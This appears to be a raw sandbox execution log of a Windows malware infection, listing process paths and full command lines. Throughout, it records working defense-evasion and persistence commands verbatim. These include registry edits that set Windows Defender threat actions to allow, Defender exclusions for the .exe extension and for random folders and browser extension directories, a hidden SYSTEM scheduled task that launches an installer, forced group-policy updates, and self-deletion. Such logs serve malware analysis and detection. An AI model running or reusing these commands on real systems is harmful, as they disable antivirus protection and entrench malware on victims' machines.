"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"

C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe

C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe

C:\Windows\SysWOW64\cmd.exe

/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe

C:\Users\Admin\AppData\Local\Temp\1000031001\Newoff.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "bqGGCwwWIommTRgeuN" /SC once /ST 01:28:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS234D.tmp\Install.exe\" 1g /vYPdidCLpP 385118 /S" /V1 /F

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bqGGCwwWIommTRgeuN"

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C schtasks /run /I /tn bqGGCwwWIommTRgeuN

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\schtasks.exe

schtasks /run /I /tn bqGGCwwWIommTRgeuN

C:\Users\Admin\AppData\Local\Temp\7zS234D.tmp\Install.exe

C:\Users\Admin\AppData\Local\Temp\7zS234D.tmp\Install.exe 1g /vYPdidCLpP 385118 /S

C:\Windows\SysWOW64\Wbem\WMIC.exe

"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\cmd.exe

/C powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\cmd.exe

/C powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\choice.exe

choice /C Y /N /D Y /T 3

C:\Windows\SysWOW64\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JipyTrDkU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JipyTrDkU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YLgKyOFzWxOqC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YLgKyOFzWxOqC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\krdeMCnRKomDOvwVunR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\krdeMCnRKomDOvwVunR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nFLFFjqrQPUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nFLFFjqrQPUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tegRANPZONsU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tegRANPZONsU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\fcblnlcRRSrBhAVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\fcblnlcRRSrBhAVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ZmzskowerwXEonlG\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ZmzskowerwXEonlG\" /t REG_DWORD /d 0 /reg:64;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JipyTrDkU" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YLgKyOFzWxOqC" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YLgKyOFzWxOqC" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\krdeMCnRKomDOvwVunR" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\krdeMCnRKomDOvwVunR" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nFLFFjqrQPUn" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nFLFFjqrQPUn" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tegRANPZONsU2" /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tegRANPZONsU2" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\fcblnlcRRSrBhAVB /t REG_DWORD /d 0 /reg:32

C:\Windows\SysWOW64\reg.exe

